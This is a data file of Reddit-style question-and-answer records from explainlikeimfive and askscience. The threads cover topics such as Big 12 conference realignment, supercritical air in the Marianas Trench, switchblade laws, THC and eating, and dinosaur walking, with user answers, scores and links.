remaining Big 12 teams got together and re-established their commitment to the Big 12.  They also agreed to split revenue evenly amongst the remaining schools for non-team networks (really only an issue for Texas).  With revenue sharing being split equally, Texas still has an advantage because of the Longhorn Network, which will net the school roughly $300M over 20 years.\n\nSome of the remaining Big 12 schools are unhappy because Texas is planning to show high school football games after Big 12 games on the Longhorn Network (which is something all of the schools had agreed would not happen -- unfair recruiting advantage) and also because one of the regular conference games is being broadcast only on the Longhorn Network and not on the Big 12 Network.\n\nTexas, because of the large markets and fanbase, has the option to go to most any conference, but they are most interested in going to a conference like the Pac-12 which will not take revenues from the Longhorn Network pool.  If Texas leaves the Big 12, they will take Texas Tech with them as they share the same Board of Regents.\n\nOklahoma is unhappy about the decision-making of the Big 12 Commissioner, Dan Beebee and also the issues listed above regarding games being telecast on the Longhorn Network.  If Oklahoma leaves the Big 12, they will take Oklahoma State with them, again because of the shared Board.  Both Texas and Oklahoma having sister schools actually makes transition easier because 2 schools joining a conference instead of 1 makes for even numbers and hence, easy scheduling.  It also means that a conference can hold a conference Championship game, which means millions in revenue.\n\nWith the Pac-12 declaring that they are no longer looking to expand, Texas now finds the Big 12 to be the most appealing conference because there are no revenue sharing requirements there for the Longhorn Network.  Oklahoma has now declared that they will stay in the Big 12 if Dan Beebee is fired and if they can put additional requirements on the Longhorn Network to not broadcast high school games.\n\nOut of all of this, football is driving the train.  Schools like KU, K-State, Baylor, and Iowa State are fucked because there are no large markets and the football teams all blow.  Unfortunately, basketball doesn't have any say at all.  If Texas or Oklahoma leave, the Big 12 will likely die and its teams split out into various other conferences or you will see the Big 12 re-born with new schools that are left over from the expansion mess.\n\nTL;DR - It's all about money and the sport that brings in the most money is football, so that's what's making the decisions.", "It's because Texas smells bad.\n\nNow that the joke is out of the way, here's what's happening.\n\nColorado and Nebraska split because they were realizing that the power in the conference was in Austin.  They wanted none of that and left.\n\nThen Texas came up with the Longhorn Network.  There are two problems here:\n\n1. No revenue sharing, even when Texas is visiting.  \n2. Texas is using it to run high school games to get a recruiting advantage: we'll run your game on national television, so consider coming to us!\n\nA & M didn't like that and is trying to leave.  If A & M goes, the conference is falling apart, with Baylor, Kansas, Kansas State, and Iowa State don't like (because they're likely to get relegated to the mid majors if the Big XII goes under).  \n\nOklahoma and Oklahoma State tried to bolt for the PAC-whatever.  The PAC was okay with it as long as two conditions were met:\n\n1. Texas came along.\n2. Texas gave up the LHN.\n\nTexas wasn't about to agree to number 2, so the PAC said no deal.  This may save the Big XII, but they do need to find two, maybe three teams.  The thing is that while you need two to three teams, the only people remotely interested in joining you that aren't in Texas are Brigham Young.  (Texas Christian and Houston would probably accept invites, but Texas doesn't want more recruiting competition in its state.  The former would be more logical than the latter: Texas Christian brings money and fans, while Houston just takes wins away from the other teams while being a financial drain that nobody gives a shit about.  Also, the quality of Houston's undergrad programs is mediocre at best.)\n\nSo where are we today?  Oklahoma is threatening to go indie if Texas doesn't agree to two demands:\n\n1. Revenue sharing must be implemented.\n2. Dan Beebe, the conference commissioner and Texas lapdog, has to become unemployed.\n\nIt looks like Texas may acquiesce to these demands.\n\ntl;dr: It's falling apart because the NFL doesn't have a minor league farm system, which has pumped money into college football.", "tl;dr to all of this: Texas"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "1dvo8z", "title": "Can the pressure at the bottom of the Marianas Trench turn Air from gas to Liquid.", "selftext": "What would happen if you took a tank of air to the bottom of the marianas trench and equalised the pressure (while keeping it from escaping or mixing with the water). Would the air turn to liquid air?\n\nIn addition, what would happen if you were to unseal the container releasing the contents into the surrounding water. \n\nFor the sake of this experiment, let's say the tank was big enough to theoretically make 1m^3 of liquid air and can withstand any pressure differential. Let's also ignore the logistics of getting it down there. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1dvo8z/can_the_pressure_at_the_bottom_of_the_marianas/", "answers": {"a_id": ["c9uaz89", "c9uc0l8"], "score": [18, 7], "text": ["The quick and dirty analysis -\n\nUsing [the Wikipedia article](_URL_0_), the pressure is nearly 1100 times that of the surface, and the temperature is around 4 degrees Celsius.  Now, air is ~ 75% nitrogen, so let's just use pure nitrogen for a fast comparison. Using [this phase diagram](_URL_2_), we see that at ~ 1100 atm  &  ~ 4 deg. Celsius, nitrogen is in its [supercritical region](_URL_1_).   So, no, it doesn't become a liquid.", "At any temperature above the [critical point](_URL_1_) of a compound, you can't compress a gas into a liquid. It'll either be a normal gas or a supercritical fluid.\n\nCritical temperature for the top 4 atmospheric components:\n\n* Nitrogen \u2212146.9 \u00b0C\n* Oxygen \u2212118.6 \u00b0C\n* Argon \u2212122.4 \u00b0C\n* CO2 31.04 \u00b0C\n\nSo N, O, and Ar would be supercritical fluids or gases (have to check the respective phase diagrams). CO2 could be liquefied at 1100 atm and 4 C, [according to the phase diagram from wikipedia](_URL_0_).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Mariana_Trench", "http://en.wikipedia.org/wiki/Supercritical_fluid", "http://www.wolframalpha.com/input/?i=nitrogen+phase+diagram"], ["http://upload.wikimedia.org/wikipedia/commons/thumb/1/13/Carbon_dioxide_pressure-temperature_phase_diagram.svg/636px-Carbon_dioxide_pressure-temperature_phase_diagram.svg.png", "http://en.wikipedia.org/wiki/Critical_point_(thermodynamics\\)"]]}
{"q_id": "syvvf", "title": "Why protons and neutrons? Why not other compositions?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/syvvf/why_protons_and_neutrons_why_not_other/", "answers": {"a_id": ["c4i4hk5", "c4i4hpv", "c4i4igq", "c4i4ilk", "c4i4kwb"], "score": [9, 10, 4, 4, 3], "text": ["Nuclei containing other configurations of 3 quarks (generally called baryons) have been created.  They are called \"Hypernuclei\" because they contain hyperons, which are baryons containing at least one strange quark.\n\nThese nuclei are radioactive because the hyperons want to decay into protons or neutrons, via emission of pi mesons or beta decay.  I don't recall how long they live, but it has to be very short.\n\nAnd this is the answer to the question of \"why protons and neutrons\".  Those are the lightest baryons, and all heavier baryons decay into them.  In fact even a free neutron will beta decay into a proton, it is only when it is bound into a stable nucleus that it does not decay.", "There are many bound states of quarks allowed in the [Standard Model](_URL_2_). Protons and neutrons are just a couple of the bound states of quarks called [Hadrons](_URL_3_). They are [baryons](_URL_0_), particles made from 3 quarks, but there are also many [mesons](_URL_1_), particles made of 2 quarks (one quark and one antiquark).\n\nThe reason we see primarily neutrons and protons is that the other possible particles are *unstable*. They are created by natural events (such as cosmic rays) and artificially (in particle accelerators) all the time, but they are short-lived and quickly decay into more stable particles. Even the neutron is unstable - it has a lifetime of about 10 minutes, and is only stable when bound inside a nucleus.", "All matter is made out of protons and neutrons because all the quarks other than up and down are unstable and decay to up and down quarks, by extension all hadrons that are contain charm, strange, top or bottom quarks are unstable. Such hadrons can form from high energy events, like high energy particle collisions in the LHC, but decay within ~10^-12 seconds, or less.", "There are lots of combinations of quarks possible, but apparently, only the proton and neutron (among the [baryons](_URL_0_)) and the pion (among [mesons](_URL_1_)) have a considerably long lifetime i.e they are stable, while the other eventually decay to a stabler baryon. There are descriptions (in theory) of composite particles comprising more than three quarks, but it seems like there has been no conclusive experimental finding that confirms their existence.\n\nThat doesn't answer your question though, as to why these particular combinations of quarks have such large lifetimes compared to the others...", "In theory yes we can form so called exotic atoms.  So you could have an atom with muons orbitting instead of electrons for a 'muonic atom', or you could change the protons for pions for a 'pionic' atom or infact any other hadron.  The reason all the atoms we know of consist of just protons and neutrons and electrons is because these are the most stable forms of matter.  Protons are the only hadrons that are known not to decay (or they have an unimaginably large half life) neutrons are stable in a nucleus.  All other hadrons decay into other particles.  Also heavier quarks - strange, charm, top, bottom - decay too.  Muons and Taus also decay.\n\n**So in short** Protons, neutrons and electrons are the most stable forms of matter, you can have atoms made from different particles but they will just decay rather quickly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.m.wikipedia.org/wiki/Baryon", "http://en.m.wikipedia.org/wiki/Meson", "http://en.m.wikipedia.org/wiki/Standard_model", "http://en.m.wikipedia.org/wiki/Hadron"], [], ["http://en.wikipedia.org/wiki/List_of_baryons", "http://en.wikipedia.org/wiki/List_of_mesons"], []]}
{"q_id": "1bqqim", "title": "why are switchblades illegal?", "selftext": "I mean they deploy only slightly faster than spring-assisted knives. I dont understand why they're illegal, and I have a hard time reading \"Law Jargon\".", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1bqqim/eli5_why_are_switchblades_illegal/", "answers": {"a_id": ["c995jib", "c995u11", "c996ssc", "c997w7o", "c998983", "c998k7u", "c9991c2", "c999cpk", "c999izs", "c99aun8", "c99azxq", "c99b07g", "c99b12q", "c99b6bv", "c99baml", "c99bkly", "c99bnb4", "c99c1md", "c99cbmi", "c99cbre", "c99cja4", "c99d08l", "c99eosr", "c99fpbm", "c99fs4b", "c99gjvz", "c99ihcj", "c99j6g0", "c99mhyc", "c99nz9q"], "score": [180, 42, 2, 905, 78, 12, 25, 12, 23, 9, 24, 6, 7, 8, 13, 4, 3, 5, 4, 4, 4, 8, 2, 8, 2, 2, 16, 2, 3, 3], "text": ["They're not, in many places. I carry one (Georgia), and that's legal as long as I keep my CCW up to date. In South Carolina, on the other hand, you don't even need a permit. \n\nThey're damn handy, imho: if you're carrying something with one hand, and you want to cut it open, it's tedious without an automatic knife or one of those box cutter dealies (which I'm not fond of).\n\nBut in many places, they've determined that the only practical use for a knife that opens that way is as a weapon, so they're banned. Considering the things that are legal, this seems somewhat ridiculous.\n\nEdit: In case anyone is wondering, [here is my super scary illegal in many states knife](_URL_0_).", "It varies by location. I'm Canadian, and they're illegal country-wide here. By the legal definition, you cannot possess a blade that opens by centrifugal force. Centrifugal force is a circular motion, so a knife that opens by flicking the wrist is technically illegal. One that is stiff enough to require you to pull the blade out, such as a swiss army knife or most pocket knives are fine. On the other hand, some states allow people to carry switchblades either with or without a permit. It depends entirely on the region.\n\nThe reasons some places ban them is mostly because switchblades became a common choice for usage in fights. A knife that is slower to open can still be used effectively for legal purposes, but is less efficient for attacking someone. Knives are a very poor defensive weapon, so aren't (or shouldn't) generally be purchased for defensive means.\n\nEDIT: Centrifugal - >  Centripetal", "I own a couple, I didn't realize they were illegal.  > . < ", "In the 50's switchblades became associated with criminals due their portrayal in films and television.  Greasers, mobsters and other thugs were commonly seen carrying them and it led to a public scare and the subsequent passing of the USA Switchblade Act of 1958.", "Silliness. Where I live:\n\n* Switchblades illegal\n* Knife that opens as quickly unassisted legal\n* Concealed pistol license: $55\n* Knife over 3.5\" concealed or openly carried, with or without a concealed pistol license illegal", "In Florida, automatic knives are legal without permit.  Ballistic knives are banned.  These are knives that launch the blade from the handle, such that you could shoot it at someone standing a few feet away.  Like [this](_URL_0_).\n\nYet another reason I'm not likely to move away from Florida.  =)", "I own a Boker switchblade. It is a fine knife and the only reason I have one is that I had some extra money a few years ago. Bought it on the net. Just for fun.\n\nIt turns out that it is illegal to carry such a thing across state lines. I can take my pistol across state lines, no problem, but this silly knife? No.", "As far as I could tell from reading [Fist Stick Knife Gun](_URL_0_), back when all the tough guys used knives (mid-60s?), there was a significant advantage in having your knife out and ready a few tenths of a second before the other guy. Switchblades, and various other blades, are a very quick one-hand draw. Sometimes, if you had the blade out and his hand was still in his pocket, you didn't even have to stab the guy. So if you had a switchblade there was a very good chance you had it for unethical reasons. There were all sorts of variations to get around the law- gravity knives, butterfly knives- which were in turn made illegal. In the case of butterfly knives, they had the advantage they gave you something to screw around with for hours- like a yo-yo that let you escalate situations. \n\nTough guys have switched to guns, but the law hasn't really caught up yet. (In the book, the author asks a mid-90s kid if anyone he knows carries a knife. \"What, I'm going to stab the bullet?\" is the response.) ", "you watched archer last night didnt you", "For the same reason some people want to ban \"assault weapons\". They're aesthetically more scary", "A spate of murders committed by one-armed men in the 1950s.", "Another question: does the hidden blade from Assassins Creed count?", "In case you cared, over here in good ol' England, any knife you can open with one hand is illegal, as is carrying any knife over three inches in length in public without good reason, or any concealed blade (Knife/sword in a walking stick). Also no guns.\n\nThis is mostly due to a crackdown on knife crime in the UK, which is actually working pretty well. But then we have the unique position of being off the mainland, so being able to bring in contraband from other countries is a lot harder.", "There is a misconception about OTF switchblades that you can just put one up to somebody and activate it, stabbing them.   They only have enough force to push the blade in and out.  Even a thick napkin is enough to derail their function. ", "I had a [gravity knife](_URL_0_) like [this](_URL_1_) when I was a kid... LOVED it.  No delicate little springs that tend to break, and small enough to fit in your boot.  Also, flicking it out totally makes you feel like Wolverine.", "Wait, are switchblades illegal while guns are legal in the US?", "I'm not sure why they're illegal, but several years ago,\nI \"smuggled\" a switchblade over the border from Tijuana to California for my husband. Now, if I ask him to do something for me and he complains, I just remind him of that fact. I know, I'm a badass. ", "What also gets me is that butterfly knives are also banned in many places. I can often easily get my unassisted knife out faster and safer than you butterfly knife.", "Someone has connections with the butcher.\n\nEDIT: Wrong thread.", "I've always heard it's because it counts as a concealed weapon since the blade is completely hidden within the handle.  Open-assist knives have a part of the blade visible, switch blades do not.", "'cuz I'll cut you, mang", "Same reason why semi-automatic weapons that are painted black are considered \"assault weapons\" while the same action with a wood stock is called a \"hunting rifle.\"", "The theory is that a switchblade serves no purpose other than a concealed, rapidly available weapon.  And there is some logic to that, switchblades are an inferior choice to whittle with or cut your steak.\n\nAlso, in many jurisdictions, spring assisted knives are also illegal.", "From someone outside the US, it's almost comical how you can be allowed outside holding a semi-automatic weapon completely legally, but if you're caught with a switchblade, that's crossing the line.", "Because you might hurt yourself!", "Sorry if it's not allowed, but to add to this question: Why are 'butterfly' knives illegal in Australia?", "[late to thread, but relevant](_URL_0_)", "Because there is no National Switchblade Association that exists to convince people that switchblades make us free. ", "So much for explaining like he's five..", "Knife laws are hard to understand, even lawyers and police are confused about them. There are *three main worries* for the people making these laws:\n*Is it **ready to use quickly?**\n*Is it **easy to hide?**\n*Can it **hurt someone a lot?**\nBoy Scout type pocket knifes are short, slow to open, and are hard to hurt or kill with. They are still dangerous, but less than ...\n\n[Knifes that have a spring to open them faster](_URL_1_) are not as fast as a switch blade, but you are right, it's very close. Some want to make them illegal. But they are very helpful for police, medics, and parachuters because you can open them with one hand. Even so, they need to stay shut because if they just open up when you turn them over (no spring holding them back, called a [detent](_URL_0_)), then they can open as fast as a switch blade.\n\nSwitch blades are fast, easy to hide, and long so they can really hurt someone and they wouldn't see it coming. The same is true for many other knives, like knives that open just by pressing a button. \n\nThe differences in speed, size, and ability to hurt people can be very small. But law makers needed to make rules and explain which things are too dangerous. Many people disagreed about how dangerous it too dangerous, but these are the main worries that they talk about when picking out the rules.\n\n*information derived from review of California laws related to a case where the detent was allegedly so worn that the knife could be opened by a flick of the wrist. Had the deputy try it the day before in the evidene room ...fail. Tried in court at the hearing ... failed to open on handed after 8 attempts. Prosecutor agreed to dismiss in the middle of the hearing.*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.benchmade.com/products/3150"], [], [], [], [], ["http://www.youtube.com/watch?v=CsqClktIKZQ"], [], ["http://books.google.com/books/about/Fist_Stick_Knife_Gun.html?id=SNSusKVm38sC"], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Gravity_knife", "http://www.jerzeedevil.com/gallery/files/1/0/1/3/anton_wingen.jpg"], [], [], [], [], [], [], [], [], [], [], [], ["http://i.qkme.me/3tpwa3.jpg"], [], [], ["http://en.wikipedia.org/wiki/Detent", "http://www.amazon.com/Kershaw-Onion-Chive-Pocket-Knife/dp/B0009VC9RW"]]}
{"q_id": "3p51q7", "title": "why do the pictures of astronauts always have these crosses in them?", "selftext": "Like in [this](_URL_0_) picture", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3p51q7/eli5_why_do_the_pictures_of_astronauts_always/", "answers": {"a_id": ["cw36893", "cw369ph"], "score": [3, 3], "text": ["You are looking at a picture that's taken from a system that has them in its interface. Basically if you look at raw footage of military camera's, you'll see the same thing.", "The marks are to help them fix any errors in the photograph as well as help with scale of what you took the picture of. See - _URL_0_"]}, "title_urls": [], "selftext_urls": ["http://bilder.mzibo.net/wp-content/uploads/2011/09/Apollo-astronaut.jpg"], "answers_urls": [[], ["http://www.clavius.org/photoret.html"]]}
{"q_id": "afp1s5", "title": "how do religions and mythologies differentiate between \u201cspirit\u201d and \u201csoul?\u201d", "selftext": "I don\u2019t even know if/how fellow members of my own belief system (Roman Catholicism) distinguish between the two. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/afp1s5/eli5_how_do_religions_and_mythologies/", "answers": {"a_id": ["ee0fj2e"], "score": [6], "text": ["In the Christian Bible the two are used multiple times and refer to different things depending on the translation. \n\nThe word spirit refers to the immaterial facet of humanity. Humans have spirits, but are not spirits. In scripture, only believers are said to be spiritually alive.  The spirit is the element of humanity that allows to have a relationship with God. \n\nThe soul refers both to the immaterial and material aspects of humanity. Humans are souls.   In the most basic sense, the word soul means life, the Bible does speak about the word soul in multiple context, the most important of which is how humanities soul is tainted with sin.  The soul is removed at death \n\nThe take away is this. The soul is the essences of human beings. The spirit is what allows us to communicate with god. \n\nNow, I questioned religion and turned atheist over 20 years ago, so someone else may be able to give a more precise answer than this. But this is what  I was taught coming up in the church. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6w3o7f", "title": "how does the news get shots of reporters in hurricanes?", "selftext": "With high-speed winds and rain, how do camera crews get that shot of a reporter standing in the storm? What does that setup look like?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6w3o7f/eli5_how_does_the_news_get_shots_of_reporters_in/", "answers": {"a_id": ["dm584o6", "dm5nwc8"], "score": [6, 5], "text": ["they put cameras in front of them?", "I watched Hannity last night.\n\nWhile they were filming the reporter in Corpus Christi, the camera crew was in a parking garage and pretty well protected.  The reporter was standing out in the street to get maximum drama.  The camera just used a zoom lens to make it look like it was pretty close to the reporter.\n\nIt's pretty common for these reporters to try to make the event as bad as possible instead of just reporting average conditions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8qp39n", "title": "why is it that things like mouthwash and pill bottles need childproof caps, but things like laundry detergent and alcohol do not?", "selftext": "Title says it all. Ive never determined what makes the call as to if something has a childproof cap or not. Bottles of mouthwash, cough syrup and perscriptions have them. These are things meant to be ingested.  However things like laundry detergent, bleach and  rubbing alcohol do not. If anything I'd think that this category is more deserving of a childproof cap than the things that frequently have them. Finally if the qualification is things that should be ingested but only under adult supervision/in appropriate quantites because a large dose could kill you, why is it the things like vodka or whiskey do not have childproof caps as well? Thanks!\n\nEdit/clarification - I mean the ones that you have to squeeze to open every time. Not the plastic seal over the top that indicates something has not been tampered with.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8qp39n/eli5_why_is_it_that_things_like_mouthwash_and/", "answers": {"a_id": ["e0l48ax"], "score": [13], "text": ["A child eating a single handful of some medicines will die. This is certainly not true of alcohol, and usually not true of laundry detergent. The safety mechanism is stronger because the danger is stronger."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1ny81c", "title": "speaker of the house's ability to prevent a vote", "selftext": "I have attempted to find a satisfactory answer to this question, but have been so far unsuccessful.  I understand that each House essentially makes its own rules.  So I am wondering, in the particular case of the current House and government shutdown, what specific point / rule in the process allows John Boehner to stop the vote?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ny81c/eli5_speaker_of_the_houses_ability_to_prevent_a/", "answers": {"a_id": ["ccn5n4w"], "score": [2], "text": ["The speaker of the house is the one that sets the agenda for the house.  Since he schedules which votes happen when, it's within his power to prevent votes from coming up. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3y788t", "title": "disney infinity 3.0", "selftext": "I understand the mechanics of the game like building your own things and buying figurines to play in the game.\n\nBut is 3.0 the third game? Are they like a standard sequel where you have to buy the new game or is it like an update that adds new features (Minecraft style).\n\nIf I buy 3.0 and then 4.0 comes out would I need to buy it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3y788t/eli5_disney_infinity_30/", "answers": {"a_id": ["cybanyb"], "score": [3], "text": ["You have to buy the new game disc for the new version. Also to play with the newest character sets you have to have the newest version. For instance you have to have 3.0 to play with the Star Wars things."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "r32bw", "title": "Does eating while high on thc sober you up quicker?", "selftext": "I hear this all the time but is it true that if you eat you'll lose your high quicker?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/r32bw/does_eating_while_high_on_thc_sober_you_up_quicker/", "answers": {"a_id": ["c434t9b"], "score": [3], "text": ["No, while this and taking a shower may be a common misconception there is really no way to \"sober up\" while high. THC stimulates the release of leptin which stimulates appetite (which is why you get the \"munchies\") however as THC is absorbed into the blood and crosses the blood brain barrier in your brain and other areas it acts on CB-1 and CB-2 receptors throughout your body and is stored in your fat cells (which is why THC stays in your system for so long). There is virtually no effect of food on the CB-1 and CB-2 receptors and therefore will not sober you up more rapidly. \n\nThis is similar to the common misconception that drinking coffee, showering, etc. will help you sober up from alcohol (which they do not)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "35c2sb", "title": "Why are a seedling's leaves usually completely different from it's adult leaves?", "selftext": "I've seen it in vegetable gardens, tree saplings, and various other plants. They are often not even close in shape. What determines the shape of the baby leaves then?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/35c2sb/why_are_a_seedlings_leaves_usually_completely/", "answers": {"a_id": ["cr38jyo", "cr3aq80"], "score": [3, 10], "text": ["Not a professional biologist or botanist, but in school. From what I understand it follows the same principles of why larvae of some arthropods are different than their matured stage. Where as a larval lobster is planktonic, floating around the ocean filter feeding for nutrients, the adult is a detritivore, \"cleaning\" the ocean floor. So, the saplings essentially have a completely different goal from the mature leaves (e.g. adult leaves emphasize on photosynthetic glucose production, while saplings are most concerned with efficient resource use, and maintained growth). Also, for mostly flowering plants (not sure about ferns or other plants that reproduce by means other than flowers) an immature plant will not look the same at all as it has not developed its flower yet, or reproductive organ. Not sure if that was a ton of help, this is my first time answering a question here! Let me know if anything doesn't make sense, I may be able to clarify if nobody does it better\n\nEdit: --larval forms are different than adults-- not larval forms are different than larvae", "The very first two leaves are cotyledons or \"seed leaves\" and are shaped to fit inside the seed, and then expand after sprouting to their final form."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1nw0ym", "title": "What is the heaviest (largest atomic number) element created by the r-process during a supernova?", "selftext": "Is there a theoretical upper limit to the atomic numbers of elements created in a supernova? It it possible for one of the [island of stability] (_URL_0_) elements to be synthesized in a supernova?\n\n(cross posted from /r/AskPhysics, since no one seemed to see it there)\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1nw0ym/what_is_the_heaviest_largest_atomic_number/", "answers": {"a_id": ["ccmsfqp", "ccmydjm"], "score": [2, 6], "text": ["As far as I can tell, we have never observed any atoms with atom number higher than 100 after a nuclear explosion. This puts a quite low limit on how much of them can be produced in supernovae. There is quite some way from this to the island of stability, so I wouldn't put my money on any discernable amount being produced in supernovae. ", "This is actually the subject of a lot of research, and the thinking has evolved a lot since the 50s, when research on stellar nucleosynthesis first began in earnest. The current thinking (I'm taking a class on this right now) is this:\n\nThe reason that the r-process can synthesize the unstable very heavy elements is that it is rapid (hence the r). The s-process (which occurs in red giants) is too slow: highly unstable elements will decay before they can get any heavier. But in the r-process, heavy nuclei produced by the r-process (like iron-56) are bombarded by an intense neutron flux which is capable of synthesizing far, far heavier nuclei in a matter of seconds. The heaviness of the elements produced depends on the size of the flux (or technically the fluence, the integrated flux or flux per area). A large enough fluence is capable of producing the actinides (including trans-uranium elements). \n\nThe theoretical upper limit would occur somewhere around A=270, where the nucleus would be predicted to spontaneously fission and neutron capture becomes impossible. But the highest observed number I've heard cited is A=254. \n\nThus, it's incredibly unlikely that the r-process could produce island of stability elements because their proposed synthesis would occur from fusion of two very heavy nuclei, but the r-process uses neutron capture (i.e. bombarding one heavy nucleus with neutrons). That method runs into the upper bound I discussed above. "]}, "title_urls": [], "selftext_urls": ["http://en.wikipedia.org/wiki/Island_of_stability"], "answers_urls": [[], []]}
{"q_id": "4qn6s7", "title": "why are old scrapped planes worth up to hundreds of thousands of dollars, and retired ones millions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4qn6s7/eli5_why_are_old_scrapped_planes_worth_up_to/", "answers": {"a_id": ["d4uco7y", "d4uijgx", "d4uimp4"], "score": [32, 4, 22], "text": ["A 747 weighs about 400,000 pounds.  I don't know how much just the airframe weighs, but let's say half, for 200,000 pounds.  Aluminum is about 0.75/lb, so just based on raw materials that's $150,000.  And the airframe is probably made out of more expensive alloys, not \"vanilla\" aluminum , plus steel and titanium.", "A modern jumbo jet costs between $100 million and $450 million depending on the size and what kind of features you want on it. A few hundred thousand to a couple million for a scrapped or retired one is an absolute bargain considering the costs involved. A note if you are looking at buying one in the future, you MUST have some way to transport and store it, and that will quite likely cost you a lot of money on top of buying the Jet itself. Be prepared to spend a lot just to get a hold of the thing and put it somewhere.", "A multiple-story tall piece of some of the most precision engineered and high quality materials on the planet, stretching larger than a square acre in size, assembled in to one of the most incredible machines ever constructed, is not going to be cheap, even stripped of the fancy bits. A 747 is an absolutely immense aircraft. The cockpit is over 30 feet high, the tip of the tail is over 60 feet high, and you could easily drive most passenger cars underneath one. It has more than 4000 square feet of floorspace inside, and the wings cover an additional 5600 square feet or so (all numbers variable with model). That upper deck bubble on top has as much internal square footage by itself as an entire 737. You aren't talking about buying a shell of something - you're talking about buying a large building made out of far more expensive materials than anything meant for the ground would be."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6p71ia", "title": "Is it likely that dinosaurs walked like modern day pigeons, with a back and forth motion of their head?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6p71ia/is_it_likely_that_dinosaurs_walked_like_modern/", "answers": {"a_id": ["dkngnjb", "dkngzv6", "dknj5mm", "dkno4om", "dknrjsq", "dkolfxt"], "score": [3571, 104, 12, 241, 107, 6], "text": ["It seems unlikely. Pigeons (and chickens) move that way to stabilize their vision. It's really only useful for creatures with a small head-and-neck mass capable of movement fast enough to blur vision otherwise; most other animals use other compensatory systems. (Humans, for example, have auto-tracking eyeballs.)\n\nDinosaurs, with more body (and head) mass, and thus somewhat smoother movements, would be more likely to use vision stabilization systems common to larger animals.", "I think it's unlikely, since most larger birds don't seem to do this...ostriches, emus, turkeys, geese, even ducks.  None of those bob their heads consistently while walking.    Chickens do, crows do, pigeons do, but I suspect dinosaurs would be more similar to the larger birds and head bobbing is a specialized thing for small, modern birds.\n\nA counterpoint is that storks and herons seem to sometimes do it.", "Sadly, we can't test any of those hypotheses given here. We don't know how the dinos walked, except for least energy principles as a guide, and those are not always right.\n\nSo, it's all speculation, frankly. Like knowing what kind of vocalizations they made as well. Same problem. Not testable and likely forever so. The complexities of the genomes are so great that a single faulty DNA error can kill the beast. Thus with genomes of billions of base pairs, the problem is that of finding several millions of workable options within a problem with billions of digits.\n\nJurassic Park is a pleasant fiction and will likely be for a very long time, if possible at all.", "I want to note a really cool thing that chickens do when they walk.  They keep their head at the same level, more or less.  If a chicken is walking somewhere, and now she has to step up onto a fallen branch or something just a few inches off the ground, she will shorten her neck at the exact instance she steps up, and then lengthens it as soon as she steps off.  So if you observed this chicken only from the top part of her - you would see her head always remains an equal distance from the ground even though her body went up and down.", "Related note: There was actually a study on how dinosaurs walked. It won the Ig Nobel Prize. They glued a stick to a chicken's butt to transform it into a T-Rex and compared the walk of the chicken with and without the stick. \nSource: _URL_0_", "[Not all birds walk with the back and forth motion of their head,](_URL_0_) but [it does show up in the most distantly related clade of birds,](_URL_2_) (as pigeons are neoaves, and ostriches are ratites, which are on opposite branches of Aves), thus seems likely to be ancestral - it is more likely that it evolved once and then was lost in some species rather than it arising multiple times independently. An even better example is the [Tinamou,](_URL_1_) which is also as far away from neoaves as possible and shows head movements followed by freezing.\n\nSo yeah, probably at least some species of dinosaurs likely did the head freezing thing.\n\nIt is likely that most species did not, though. Velociraptors might have, but Triceratops probably didn't - their heads just weren't built for it.\n\nThings with relatively long necks and small heads would be more likely to do so, so it is likely that at least some theropods did it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0088458"], ["https://www.youtube.com/watch?v=rLnd4V8Gfq4", "https://www.youtube.com/watch?v=Z9hqgm1RhPQ", "https://www.youtube.com/watch?v=G3cTSlzyzic"]]}
